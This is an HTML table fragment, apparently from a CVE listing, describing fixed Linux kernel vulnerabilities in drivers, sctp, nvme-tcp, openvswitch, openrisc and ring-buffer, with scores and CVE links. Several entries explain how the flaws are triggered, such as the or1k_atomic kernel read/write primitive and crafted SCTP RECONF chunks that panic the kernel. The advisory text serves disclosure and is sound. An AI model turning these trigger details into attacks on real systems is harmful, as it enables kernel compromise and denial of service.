&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mmc: via-sdmmc: stop card-detect handling on probe failure request_irq() registers the SD card-detect interrupt and the probe enables it before mmc_add_host() runs. If mmc_add_host() fails, the error path only unmaps the registers and returns: the interrupt stays registered, so the handler keeps running against the host once it is freed. via_sdc_isr() dereferences sdhost and its MMIO base and schedules carddet_work, which via_sdc_card_detect() also runs against freed memory through its container_of() dereference. Add a probe-error path that disables and frees the interrupt and cancels carddet_work before unmapping. carddet_work can re-enable the device interrupt via via_reset_pcictrl(), which restores PCIINTCTRL, so mask it again after cancelling the work. This issue was found by an in-house static analysis tool and confirmed by manual code review.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89440&quot; target=&quot;_blank&quot;&gt;CVE-2026-89440&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mmc: via-sdmmc: cancel card-detect work on remove Disabling the device interrupt and freeing the IRQ prevents new card-detect work from being queued, but carddet_work already queued by the handler can still run after via_sd_remove() returns. via_sdc_card_detect() recovers the host through container_of() and dereferences its MMIO base; once remove() returns the host can be freed, so that work would touch freed memory. Cancel carddet_work after freeing the IRQ and before cancelling finish_bh_work, which the card-detect handler can also queue. carddet_work can re-enable the interrupt through via_reset_pcictrl(); mask it again afterwards. This issue was found by an in-house static analysis tool and confirmed by manual code review.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89441&quot; target=&quot;_blank&quot;&gt;CVE-2026-89441&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: ISST: Validate socket ID in clos_assoc ioctl isst_if_clos_assoc() validates the user-supplied socket_id with &#039;socket_id &amp;gt; topology_max_packages()&#039;, but isst_common.sst_inst[] is allocated with topology_max_packages() entries, so the valid index range is [0, topology_max_packages()). The &#039;&amp;gt;&#039; comparison lets socket_id == topology_max_packages() pass and index one entry past the array. In addition, isst_common.sst_inst[socket_id] is NULL for an in-range package that has no bound TPMI SST instance, and the pointer is used without a NULL check. Both the out-of-bounds entry and the NULL pointer are then dereferenced by map_partition_power_domain_id() and the following power_domain_info access. Reject socket_id &amp;gt;= topology_max_packages() and a NULL sst_inst, matching the checks already performed by get_instance().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89442&quot; target=&quot;_blank&quot;&gt;CVE-2026-89442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: platform/x86: ISST: Validate level in perf mask ioctls isst_if_get_perf_level_mask() and isst_if_get_base_freq_mask() use the user-provided level as an index into perf_levels[] via _read_pp_level_info() and _read_bf_level_info(), but neither helper validates it first. The adjacent level-info helpers reject levels above max_level before reading the same per-level register block. Add the same bounds checks to the mask helpers, and reject disabled SST-PP levels in isst_if_get_perf_level_mask() to match isst_if_get_perf_level_info(). This prevents out-of-bounds reads from the per-level offset table on invalid ioctl input.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89443&quot; target=&quot;_blank&quot;&gt;CVE-2026-89443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/dasd: Propagate partial completion length across ERP recovery dasd_default_erp_postaction() copies the timing and device state from the finished ERP request back to the original request but drops proc_bytes. A request that was partially completed, an ESE read of a not-yet-allocated track returns fewer bytes than requested, and then recovered through the ERP chain loses its partial-completion length. __dasd_cleanup_cqr() then sees proc_bytes == 0 and completes the whole request instead of requeueing the remainder, silently returning zeroed data for the part that was never read. Carry proc_bytes over to the original request like the other per-request state.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89456&quot; target=&quot;_blank&quot;&gt;CVE-2026-89456&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: s390/percpu: Fix MVIY_PERCPU() with older binutils Commit a737737cdb9c (&quot;s390/percpu: Infrastructure for more efficient this_cpu operations&quot;) introduced MVIY_PERCPU(), which stringifies arguments that are already C string literals. This generates an assembler macro invocation with whitespace-separated quoted arguments: GEN_MVIY &quot;459712&quot; &quot;%r3&quot; GNU as versions prior to binutils 2.39 drop the separating whitespace between quoted macro arguments during input scrubbing. They consequently parse the invocation as a single argument and emit repeated warnings: Warning: missing closing `&quot;&#039; The .ifc in GEN_MVIY never matches and GNU as exits successfully without emitting the mviy instruction. As a result, the interrupted per-CPU sequence is not marked in lowcore and the exception return path cannot repair the per-CPU address register after migration. All MVIY_PERCPU() callers pass C string literals. Use them directly and separate the assembler macro arguments with an explicit comma. The resulting invocation is: GEN_MVIY 459712, %r3 This form is unambiguous for GNU as and LLVM&#039;s integrated assembler. This behavior was fixed in GNU as from binutils 2.39, but Linux supports binutils 2.30.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89459&quot; target=&quot;_blank&quot;&gt;CVE-2026-89459&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: qcom_battmgr: terminate the strings from firmware The qcom_battmgr_sc8280xp_strcpy() takes a Pascal-style string when the firmware sends one. Otherwise it copies all BATTMGR_STRING_LEN bytes and leaves the destination without a terminator. Those destinations are model_number, serial_number and oem_info, each BATTMGR_STRING_LEN and declared next to each other. They go out to user space as val-&amp;gt;strval, which power_supply_format_property() prints with &quot;%s&quot;, so a firmware string that fills the whole field makes that read run into the following members. Use strscpy() so the copy always terminates, the way the SM8350 path already does for the same field.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89466&quot; target=&quot;_blank&quot;&gt;CVE-2026-89466&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: power: supply: charger-manager: register regulators before exposing sysfs charger_manager_remove() and the err_reg_extcon probe error path free each charger regulator with regulator_put() before tearing down the power_supply sysfs entries (power_supply_unregister()). charger_manager_remove() also calls try_charger_enable(cm, false) after the regulator_put() loop. A concurrent write to a charger&#039;s externally_control sysfs attribute that lands between regulator_put() and power_supply_unregister() can run charger_externally_control_store() and call try_charger_enable(), which, when charging is enabled, dereferences the already-freed consumer handle. When charging is enabled, try_charger_enable(cm, false) in .remove() also dereferences the freed handles directly. Both leave use-after-free windows. Symmetrically, probe registers the sysfs entries (power_supply_register) before acquiring the regulators (regulator_get, inside charger_manager_register_extcon), so userspace can reach externally_control before the regulators are available. Split charger_manager_register_extcon() on the sync/async boundary: charger_manager_get_regulators() (regulator_get only, no async producer) now runs before power_supply_register() so sysfs is not live before regulators are available, and charger_manager_register_extcon() keeps only the extcon notifier/work setup, still after power_supply_register() so a power_supply_register() failure cannot reach extcon setup. This keeps the sysfs setup/teardown ordering symmetric without introducing an asynchronous producer on the earlier probe-error path. Move power_supply_unregister() and try_charger_enable(cm, false) ahead of the regulator_put() loop on both teardown paths, and adjust err_reg_extcon (power_supply_unregister() then fall through err_regulator for regulator_put(); get_regulators self-rolls back on its own failure). This does not address the separate extcon-notifier-driven deref of the same handles, which needs its own synchronization design. Found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89472&quot; target=&quot;_blank&quot;&gt;CVE-2026-89472&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sctp: fix stream-&amp;gt;outcnt underflow on duplicate RECONF responses A cached RECONF chunk may contain more than one request parameter. A duplicate response can therefore find and process the same ADD_OUT request again while another parameter is still outstanding, rolling back outcnt twice and possibly underflowing it. Track outstanding request types as bits and clear each bit after its first response. Later responses for the same request are then ignored.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89476&quot; target=&quot;_blank&quot;&gt;CVE-2026-89476&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: sctp: fix NULL deref on untransmitted RECONF completion sctp_process_strreset_outreq(), sctp_process_strreset_addstrm_out() and sctp_process_strreset_resp() complete a pending stream reconfiguration request by stopping the reconf timer on the transport it was sent on: t = asoc-&amp;gt;strreset_chunk-&amp;gt;transport; if (timer_delete(&amp;amp;t-&amp;gt;reconf_timer)) sctp_transport_put(t); chunk-&amp;gt;transport is assigned by __sctp_packet_append_chunk() when the chunk is appended to an outbound packet, and sctp_outq_flush_ctrl() arms the reconf timer at that same point. A request already published in asoc-&amp;gt;strreset_chunk but not yet transmitted has neither, so completing it dereferences NULL. Two ways to get there. sctp_send_asconf_del_ip() sets asoc-&amp;gt;src_out_of_asoc_ok without sending anything when the address being removed is the association&#039;s last one, and sctp_outq_flush_ctrl() then leaves every non-ASCONF control chunk queued; as only sctp_process_asconf_ack() clears that flag, it persists. An unprivileged process that removes such an address and then asks for a stream reset panics the kernel from softirq. A peer needs neither ASCONF nor local help: sctp_cmd_interpreter() uncorks the outqueue only once the whole packet has been processed, so a reply built while walking a RECONF chunk stays untransmitted for the rest of that walk, and one RECONF chunk carrying [Incoming SSN Reset Request, Outgoing SSN Reset Request, Response] -- or two RECONF chunks in one packet -- reaches the same dereference. KASAN: null-ptr-deref in range [0x00000000000001e8-0x00000000000001ef] RIP: 0010:timer_delete+0x67/0x110 Call Trace: &amp;lt;IRQ&amp;gt; sctp_process_strreset_addstrm_out (net/sctp/stream.c:832) sctp_sf_do_reconf (net/sctp/sm_statefuns.c:4212) sctp_do_sm (net/sctp/sm_sideeffect.c:1172) sctp_assoc_bh_rcv (net/sctp/associola.c:1044) sctp_rcv (net/sctp/input.c:243) ip_local_deliver (net/ipv4/ip_input.c:262) process_backlog (net/core/dev.c:6680) &amp;lt;/IRQ&amp;gt; A response can only acknowledge a request that was actually sent, so do not match asoc-&amp;gt;strreset_chunk while chunk-&amp;gt;transport is NULL. Guarding the lookup covers all three completion sites.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89477&quot; target=&quot;_blank&quot;&gt;CVE-2026-89477&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme-tcp: reject a read that transferred too few bytes nvme_tcp_recv_data() completes a request once the current C2HData PDU has been consumed. Nothing compares the total bytes received against the length the command asked for: struct nvme_tcp_request has no receive-side counter, queue-&amp;gt;data_remaining is per queue, and blk_mq_end_request() completes for blk_rq_bytes(rq) unconditionally with no residual concept anywhere above. A controller can therefore answer a 4096-byte read with 512 bytes and have it reported as a complete read; user space then gets 4096 bytes of which 3584 are whatever was already in the page. I reproduced that with a test target. Count the bytes received and refuse to complete a successful read whose count does not match, at the two NVME_TCP_F_DATA_SUCCESS paths and in nvme_tcp_process_nvme_cqe(). The success test shifts req-&amp;gt;status right by one, because the driver keeps the wire value there and shifts it on completion, so the check must see what the completion path will see. Only REQ_OP_READ is checked, because there the length comes from the sectors the request covers; a passthrough command is built by its submitter, which picks both command and buffer, so the kernel has nothing to compare against.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89480&quot; target=&quot;_blank&quot;&gt;CVE-2026-89480&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme-tcp: fix host memory disclosure on R2T for a read command nvme_tcp_handle_r2t() does not check the direction of the request the R2T refers to. A malicious controller can send an R2T for a READ and the host will answer it: nvme_tcp_setup_h2c_data_pdu() builds the H2CData header and nvme_tcp_try_send_data() sends the request&#039;s data buffer. That buffer is the READ destination, so its contents go to the controller. The command then completes normally and nothing is logged. Against a test controller that answers every READ with an R2T, a 4096 byte buffered read returned all 4096 bytes, split over two R2Ts. The pages contained stale kernel data, including an array of struct page pointers. Reject an R2T for a request that is not a write.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89481&quot; target=&quot;_blank&quot;&gt;CVE-2026-89481&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme: zero the discard fallback page nvme_setup_discard() always maps sizeof(struct nvme_dsm_range) * NVME_DSM_MAX_RANGES = 4096 bytes as the DSM payload however many ranges the command declares, because some devices ignore the &#039;Number of Ranges&#039; field - the Fixes: commit records two that read past the declared ranges. A single-range discard fills only the first 16 bytes. Normally the buffer comes from kzalloc() and the other 4080 bytes are zero. When that allocation fails the code falls back to the per-controller ctrl-&amp;gt;discard_page, which nvme_init_ctrl() obtains with alloc_page(GFP_KERNEL) and nothing ever zeroes, so those 4080 bytes are whatever the page last held and are handed to the controller. Reaching it requires the kzalloc(GFP_ATOMIC | __GFP_NOWARN) to fail, that is memory pressure; it is not remotely triggerable. Failing the allocation under KMSAN reproduces it, with the leaked tail full of vmemmap struct page pointers. The extent in the report is a partial transfer of the payload, not the whole 4096 bytes; the 16-byte boundary in it is the one declared range: [ 11.991601] BUG: KMSAN: uninit-value in dma_map_phys+0x14c8/0x1900 [ 11.991969] dma_map_phys+0x14c8/0x1900 [ 11.992220] dma_map_page_attrs+0xcf/0x130 [ 11.992485] e1000_xmit_frame+0x4099/0x6d10 [ 11.992768] dev_hard_start_xmit+0x22f/0xa80 [ 11.993068] sch_direct_xmit+0x35c/0xcb0 [ 11.993315] __dev_queue_xmit+0x1ee5/0x5eb0 [ 11.993608] ip_finish_output2+0x1903/0x1c30 [ 11.993881] ip_finish_output+0x288/0x870 [ 11.994125] ip_output+0x15e/0x400 [ 11.994365] __ip_queue_xmit+0x1e85/0x1fb0 [ 11.994639] ip_queue_xmit+0x60/0x80 [ 11.994899] __tcp_transmit_skb+0x4e71/0x5fa0 [ 11.995210] tcp_write_xmit+0x3a36/0x9160 [ 11.995533] __tcp_push_pending_frames+0xc5/0x3c0 [ 11.995854] tcp_push+0x7dc/0x840 [ 11.996076] tcp_sendmsg_locked+0x766c/0x8400 [ 11.996371] tcp_sendmsg+0x4b/0x90 [ 11.996572] inet_sendmsg+0x134/0x2a0 [ 11.996823] __sock_sendmsg+0x265/0x360 [ 11.997076] sock_sendmsg+0x100/0x1e0 [ 11.997293] nvme_tcp_try_send+0x196f/0x6370 [ 11.997605] nvme_tcp_queue_rq+0x1d54/0x20b0 [ 11.997882] blk_mq_dispatch_rq_list+0x5ee/0x2e50 [ 11.998175] __blk_mq_sched_dispatch_requests+0x16dc/0x24a0 [ 11.998539] blk_mq_sched_dispatch_requests+0x11b/0x2c0 [ 11.998865] blk_mq_run_work_fn+0x13b/0x280 [ 11.999146] process_scheduled_works+0x966/0x1ad0 [ 11.999465] worker_thread+0xe44/0x1480 [ 11.999709] kthread+0x53b/0x600 [ 11.999927] ret_from_fork+0x29f/0x7c0 [ 12.000191] ret_from_fork_asm+0x1a/0x30 [ 12.000460] [ 12.000558] Uninit was created at: [ 12.000788] __alloc_frozen_pages_noprof+0x8bf/0xd30 [ 12.001096] alloc_pages_mpol+0x1d0/0x5f0 [ 12.001326] alloc_pages_noprof+0x102/0x290 [ 12.001627] nvme_init_ctrl+0x5a3/0x9f0 [ 12.001891] nvme_tcp_create_ctrl+0xd75/0x19b0 [ 12.002170] nvmf_dev_write+0x4c68/0x4fd0 [ 12.002426] vfs_write+0x587/0x1a10 [ 12.002636] __x64_sys_write+0x207/0x4f0 [ 12.002874] x64_sys_call+0x2ff0/0x3ea0 [ 12.003123] do_syscall_64+0x147/0x3b0 [ 12.003400] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 12.003680] [ 12.003777] Bytes 16-2843 of 2844 are uninitialized [ 12.004068] Memory access of size 2844 starts at ffff888109f82000 [ 12.004412] [ 12.004530] CPU: 0 UID: 0 PID: 101 Comm: kworker/0:1H Not tainted 7.2.0-rc5-NVMECTL-gf5098b6bae76 #1 PREEMPT(lazy) [ 12.005127] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 12.005762] Workqueue: kblockd blk_mq_run_work_fn [ 12.006073] ===================================================== Allocate the page with __GFP_ZERO. The single allocation site covers every use of it: bytes no discard has written stay zero, and bytes one did write hold that controller&#039;s own range list, which it has already been sent.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89483&quot; target=&quot;_blank&quot;&gt;CVE-2026-89483&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ipmi: Fix use-after-free of cmd_rcvr in _ipmi_destroy_user() Commit 9e91f8a6c868 (&quot;ipmi:msghandler: Remove srcu for the ipmi_interfaces list&quot;) dropped the synchronize_rcu() between unlinking the command receivers from intf-&amp;gt;cmd_rcvrs and freeing them, updating only the comment that explains why the barrier is needed. The cmd_rcvrs list is still traversed under plain RCU: find_cmd_rcvr() walks it inside rcu_read_lock(), and handle_ipmb_get_msg_cmd() borrows rcvr-&amp;gt;user from that lookup within the same read-side section. Without the grace period, _ipmi_destroy_user() can kfree() a cmd_rcvr while a reader still holds a pointer to it, causing a use-after-free. The rework only made srcu unnecessary for the interfaces list; the cmd_rcvrs list still relies on plain RCU. Restore the synchronize_rcu() before freeing the receivers.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89486&quot; target=&quot;_blank&quot;&gt;CVE-2026-89486&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: openvswitch: only skb_tx_error() a packet we are about to drop queue_userspace_packet() borrows the packet skb -- it only copies it into a private netlink message (user_skb) and does not own it; on return do_execute_actions() keeps forwarding it through the flow&#039;s remaining actions. Its error path nevertheless calls skb_tx_error(skb), which via skb_zcopy_clear() does skb_shinfo(skb)-&amp;gt;flags &amp;amp;= ~SKBFL_ALL_ZEROCOPY, stripping SKBFL_SHARED_FRAG from that live skb (skb_tx_error()&#039;s kerneldoc says &quot;skb must be freed afterwards&quot;). For a MSG_ZEROCOPY skb carrying page-cache frags, SKBFL_SHARED_FRAG is what makes esp_input() skb_cow_data() before in-place AEAD; once it is stripped a later local ESP-in-UDP delivery decrypts in place over pages the sender does not own -- an unprivileged page-cache write (the &quot;Fragnesia&quot; primitive). do_execute_actions() ignores output_userspace()&#039;s return value, so any action after a failed USERSPACE upcall inherits the stripped skb. Move the skb_tx_error() to the flow-miss drop path - the &quot;default&quot; branch of ovs_dp_process_packet()&#039;s switch(error), before kfree_skb(). The call has been here since commit 36d5fe6a0007 (&quot;core, nfqueue, openvswitch: Orphan frags in skb_zerocopy and handle errors&quot;) but was harmless until esp_input() began relying on SKBFL_SHARED_FRAG to gate in-place decrypt; only then did stripping it on a still-forwarded skb become a page-cache write primitive.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89487&quot; target=&quot;_blank&quot;&gt;CVE-2026-89487&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: openvswitch: Fix CT limit teardown use-after-free Packet processing uses CT limit state under RCU, while netns teardown frees that state under ovs_mutex. The CT limit pointer was neither removed from readers nor protected by a grace period, allowing packet processing to dereference the freed state. An unprivileged user can trigger this bug from a user and network namespace, causing a slab-use-after-free in ovs_ct_execute() when the netns is torn down. Publish the CT limit pointer through RCU, remove it before teardown, and wait for readers before freeing its contents. Keep ovs_mutex around individual CT limit updates, and use the RCU read-side lock while GET traverses the RCU-protected limit lists. Netns teardown detaches the RCU-protected CT limit state in the pernet .pre_exit callback while holding ovs_mutex. The pernet core guarantees an RCU grace period between the .pre_exit and .exit callbacks, so the .exit callback completes the teardown without adding any extra synchronization. The netlink command handlers do not need NULL checks because the userspace netlink socket holds an active reference to its network namespace while a request is processed. The per-netns exit path therefore cannot run concurrently with SET, DEL, or GET for that socket&#039;s namespace.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89488&quot; target=&quot;_blank&quot;&gt;CVE-2026-89488&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: openrisc: fix arbitrary kernel memory access via or1k_atomic syscall sys_or1k_atomic() (syscall 244 in the &quot;or1k&quot; ABI) takes two user pointers, v1 and v2, and swaps the words they point to in hand-written assembly. l.lwz r29,0(r4) l.lwz r27,0(r5) l.sw 0(r4),r27 l.sw 0(r5),r29 The pointers are not checked with access_ok(). The four memory accesses also have no exception table entries. A caller passes a kernel address as either pointer, and the syscall reads from and writes to it directly. This gives an unprivileged process a kernel read/write primitive. It overwrites kernel data such as the sys_call_table, gaining code execution in kernel context. Check both pointers before entering the critical section. Add fixups for the four memory accesses so faults on valid but unmapped user addresses return -EFAULT. [shorne@gmail.com: fix comment style]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89489&quot; target=&quot;_blank&quot;&gt;CVE-2026-89489&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: orangefs: skip leading spaces before parsing client debug masks orangefs_prepare_cdm_array() sizes each client debug keyword buffer with strcspn(cds_head, &quot; &quot;), but then parses the keyword with %s. The %s conversion skips leading whitespace, while strcspn() does not. If a client debug entry starts with a space, the allocation can be sized for an empty keyword while sscanf() copies the following non-empty token. This can write past the end of the allocated keyword buffer. Skip leading spaces before computing the keyword length so the allocation matches the string parsed by sscanf().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89497&quot; target=&quot;_blank&quot;&gt;CVE-2026-89497&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Stop remote reader update when page swap fails The remote swap_reader_page callback can return -EBUSY when the writer moves the head before the remote catches it, particularly during an event storm on a small buffer. __rb_get_reader_page_from_remote() currently warns about that failure but continues with the unchanged reader ID and rearranges the local page list as though the swap succeeded. Handle the callback failure as a recoverable error. Report it with pr_warn_ratelimited() and return NULL. Callers already handle a NULL reader page as a failed attempt. This avoids splicing the same page as both the previous and new reader without flooding the log under contention.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89499&quot; target=&quot;_blank&quot;&gt;CVE-2026-89499&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Make cpu_buffer::free_page a buffer_data_read_page Discarding a cached reader page after a concurrent ring buffer resize uses the new global subbuf_order for the free_pages() call. This mismatched order may crashes the kernel or leaks memory because the cached page was allocated under the old size. Save the actual free_page order alongside the page address to ensure we always refer to the correct value and do not rely on the potentially stalled cpu_buffer-&amp;gt;subbuf_order value. The simplest is to make free_page a buffer_data_read_page which already covers exactly what we need: a page address and a page order.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89500&quot; target=&quot;_blank&quot;&gt;CVE-2026-89500&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Hold cpu_buffer::lock when resizing a subbuf Because, ring_buffer_subbuf_order_set() can clear cpu_buffer-&amp;gt;free_page, hold cpu_buffer-&amp;gt;lock to prevent races with ring_buffer_alloc_read_page() and ring_buffer_free_read_page().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89501&quot; target=&quot;_blank&quot;&gt;CVE-2026-89501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Fix subbuf resize race with ring_buffer_alloc_read_page() ring_buffer_alloc_read_page() is racy with ring_buffer_subbuf_order_set, it can allocate a reader page with an outdated order. This isn&#039;t a big issue, the user can still re-allocate a new reader page and try again. However, what is more problematic is if the value of subbuf_order changes in the middle of ring_buffer_alloc_read_page(). In that case, bpage-&amp;gt;order might not match the actual allocated memory. Use bpage-&amp;gt;order for the allocation to prevent this race.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89503&quot; target=&quot;_blank&quot;&gt;CVE-2026-89503&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
